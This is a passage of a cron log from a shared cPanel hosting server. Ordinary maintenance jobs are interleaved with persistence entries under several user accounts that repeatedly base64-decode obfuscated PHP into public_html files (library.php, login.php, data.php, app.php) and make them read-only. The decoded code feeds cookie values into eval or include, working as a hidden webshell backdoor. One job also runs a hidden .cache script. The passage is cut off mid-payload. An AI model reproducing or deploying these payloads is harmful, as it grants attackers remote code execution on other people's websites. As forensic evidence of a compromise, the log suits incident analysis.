yAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Jun  7 08:49:02 medusa CROND[3707]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Jun  7 08:49:02 medusa CROND[3704]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Jun  7 08:49:02 medusa CROND[3710]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Jun  7 08:50:01 medusa CROND[5378]: (root) CMD (/usr/bin/flock -n /var/run/edition_watcher.cronlock /usr/sbin/cloudlinux-edition-watcher check &> /dev/null)
Jun  7 08:50:01 medusa CROND[5381]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_cl-syncpkg.cronlock /usr/bin/cl-syncpkgs)
Jun  7 08:50:02 medusa CROND[5384]: (root) CMD (/usr/bin/test -e /etc/cpanel-dovecot-solrdisable || /usr/local/cpanel/3rdparty/scripts/cpanel_dovecot_solr_commit)
Jun  7 08:50:02 medusa CROND[5398]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux-xray-plugin-check.cronlock /usr/share/lvemanager-xray/plugins/install-xray-plugin.py --check > /dev/null 2>&1)
Jun  7 08:50:02 medusa CROND[5400]: (root) CMD (/usr/bin/flock -n /var/run/detect_edition_changes.cronlock /usr/share/l.v.e-manager/detect_edition_changes.py > /dev/null 2>&1)
Jun  7 08:50:02 medusa CROND[5399]: (root) CMD (   bash -c "sleep $((RANDOM % 60))" ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Jun  7 08:50:02 medusa CROND[5402]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Jun  7 08:50:02 medusa CROND[5401]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Jun  7 08:50:02 medusa CROND[5406]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Jun  7 08:50:02 medusa CROND[5403]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Jun  7 08:50:02 medusa CROND[5409]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Jun  7 08:50:02 medusa CROND[5412]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Jun  7 08:50:02 medusa CROND[5419]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Jun  7 08:50:02 medusa CROND[5420]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Jun  7 08:50:02 medusa CROND[5421]: (firadio) CMD (wget -q -O /dev/null http://firadio.com.ar/fiamigos/ow_cron/run.php > /dev/null)
Jun  7 08:50:02 medusa CROND[5423]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Jun  7 08:50:02 medusa CROND[5422]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_lve_manager.cronlock /usr/share/l.v.e-manager/cpanel/hooks/l.v.e-manager_postupcp_hook.sh --cronjob)
Jun  7 08:50:02 medusa CROND[5424]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Jun  7 08:50:02 medusa CROND[5433]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Jun  7 08:50:02 medusa CROND[5438]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_cache_php.cronlock /usr/share/l.v.e-manager/utils/cache_phpdata.py)
Jun  7 08:50:02 medusa CROND[5442]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_cl-quota.cronlock /usr/bin/cl-quota -YC)
Jun  7 08:50:02 medusa CROND[5444]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Jun  7 08:50:02 medusa CROND[5445]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Jun  7 08:50:02 medusa CROND[5446]: (revistaenergiaco) CMD (/user/bin/curl -s 'https://news.revistaenergia.com.ar/lists/admin/?page=processqueue&secret=9f656b23bf56b9ba2362)
Jun  7 08:50:02 medusa CROND[5441]: (root) CMD (/usr/local/cpanel/3rdparty/bin/php -d disable_functions="" /usr/local/cpanel/whostmgr/docroot/cgi/softaculous/do_backups.php >> /dev/null 2>&1)
Jun  7 08:50:02 medusa CROND[5443]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Jun  7 08:50:02 medusa CROND[5447]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_cagefs_exclude_users.cronlock /usr/share/cagefs/exclude_users_cleaner.py)
Jun  7 08:50:02 medusa CROND[5439]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Jun  7 08:50:02 medusa CROND[5440]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Jun  7 08:50:02 medusa CROND[5452]: (root) CMD (/nutscripts/control_exim.sh  >/dev/null 2>&1)
Jun  7 08:51:01 medusa CROND[7204]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Jun  7 08:51:02 medusa CROND[7219]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Jun  7 08:51:02 medusa CROND[7220]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Jun  7 08:51:02 medusa CROND[7221]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Jun  7 08:51:02 medusa CROND[7223]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Jun  7 08:51:02 medusa CROND[7224]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Jun  7 08:51:02 medusa CROND[7225]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Jun  7 08:51:02 medusa CROND[7228]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Jun  7 08:51:02 medusa CROND[7227]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_kill_php_script.cronlock bash /usr/sbin/kill_php_script)
Jun  7 08:51:02 medusa CROND[7230]: (revistaenergiaco) CMD (cd /home3/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php -f cron.php > /dev/null)
Jun  7 08:51:02 medusa CROND[7229]: (root) CMD (/usr/bin/flock -n /var/run/get_panel_users.cronlock /usr/sbin/getpaneluserscount &> /dev/null)
Jun  7 08:51:02 medusa CROND[7234]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4g